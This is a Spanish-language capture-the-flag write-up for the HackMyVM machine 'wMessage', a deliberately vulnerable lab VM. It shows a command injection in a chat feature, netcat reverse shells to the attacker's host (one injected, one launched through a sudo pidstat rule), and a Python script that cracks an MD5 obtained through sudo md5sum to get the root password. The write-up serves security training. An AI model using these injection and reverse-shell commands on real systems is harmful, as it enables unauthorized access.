cd ~/blog

~/writeups/hmv/056-wmessage.md

056 - wMessage

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
OS Command InjectionSudo-Allowed Program AbusePrivileged Hash OracleWeak Password
hackmyvm.eu/machines/machine.php?vm=wMessage

~1 min de lectura


Enumeración de servicios

Comenzamos con la enumeración de puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.35
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.35
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-29 20:59 -03
Nmap scan report for 192.168.1.35
Host is up (0.00045s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 62:8e:95:58:1e:ee:94:d1:56:0e:e5:51:f5:45:38:43 (RSA)
|   256 45:a8:7e:56:7f:df:b0:83:65:6c:88:68:19:a4:86:6c (ECDSA)
|_  256 bc:54:24:a6:0a:8b:6d:34:dc:a6:ab:80:98:ee:1f:f7 (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
| http-title: Login
|_Requested resource was /login?next=%2F
|_http-server-header: Apache/2.4.54 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.42 seconds

Enumeramos con gobuster:

❯ gobuster dir -u 'http://192.168.1.35' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png -r
...
/login                (Status: 200) [Size: 2472]
/user                 (Status: 200) [Size: 2472]
/manual               (Status: 200) [Size: 676]
/logout               (Status: 200) [Size: 2472]
/sign-up              (Status: 200) [Size: 2843]
...

Acceso inicial mediante OS Command Injection

Nos registramos en /sign-up y accedemos a un chat con un comando especial !mpstat que muestra información del sistema. La aplicación parece concatenar el texto posterior con una orden de shell. El carácter ; termina la invocación prevista de mpstat e inicia una segunda orden, lo que demuestra una OS Command Injection; id confirma ejecución como www-data:

!mpstat -V; id
Server: sysstat version 12.5.2 (C) Sebastien Godard (sysstat <at> orange.fr) uid=33(www-data) gid=33(www-data) groups=33(www-data)

Lanzamos una reverse shell:

!mpstat -V; nc 192.168.1.10 1234 -e /bin/bash

❯ ncat -nlvp 1234
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.35:40988.
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@MSG:/$

Movimiento lateral a messagemaster

Para escalar, revisamos sudo -l:

www-data@MSG:/tmp$ sudo -l
Matching Defaults entries for www-data on MSG:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on MSG:
    (messagemaster) NOPASSWD: /bin/pidstat

La regla permite un Sudo-Allowed Program Abuse porque pidstat no se limita a consultar procesos: su opción -e ejecuta el programa recibido. Al iniciarlo mediante sudo -u messagemaster, el proceso hijo y la shell resultante heredan la identidad de messagemaster:

www-data@MSG:/tmp$ COMMAND="nc 192.168.1.10 4321 -e /bin/bash"
www-data@MSG:/tmp$ sudo -u messagemaster /bin/pidstat -e $COMMAND

❯ ncat -nlvp 4321
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4321
Ncat: Listening on 0.0.0.0:4321
Ncat: Connection from 192.168.1.35:59806.
script /dev/null -c bash
Script started, output log file is '/dev/null'.
messagemaster@MSG:/tmp$

Escalada de privilegios

Obtenemos la primera flag. Revisamos sudo -l como messagemaster:

messagemaster@MSG:~$ sudo -l
sudo -l
Matching Defaults entries for messagemaster on MSG:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User messagemaster may run the following commands on MSG:
    (ALL) NOPASSWD: /bin/md5sum

La segunda regla de sudo no permite leer directamente /var/www/ROOTPASS, pero sí calcular su digest como root. Esto crea un Privileged Hash Oracle: para cada contraseña candidata podemos reproducir localmente el MD5 y compararlo con el valor observado, sin conocer primero el contenido del archivo:

messagemaster@MSG:~$ sudo /bin/md5sum /var/www/ROOTPASS
85c73111b30f9ede8504bb4a4b682f48  /var/www/ROOTPASS

El ataque sólo es viable porque el archivo contiene una Weak Password presente en el diccionario. El script también incorpora el \n final que forma parte de los bytes hasheados; omitirlo produciría un digest distinto:

import hashlib

md5 = "85c73111b30f9ede8504bb4a4b682f48"

with open("/home/wh01s17/Documentos/wordlists/rockyou.txt", encoding="latin-1", errors="ignore") as wordlist:
	lines = wordlist.readlines()
	for passwd in lines:
		passwd = passwd.replace("\n", "")
		hash = hashlib.md5((passwd.strip() + "\n").encode()).hexdigest()
		if str(hash) == md5:
			print(passwd)
❯ python3 md5_crack.py
Message5687

Iniciamos sesión como root con esa contraseña:

messagemaster@MSG:~$ su root
Password: Message5687
root@MSG:/home/messagemaster#

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados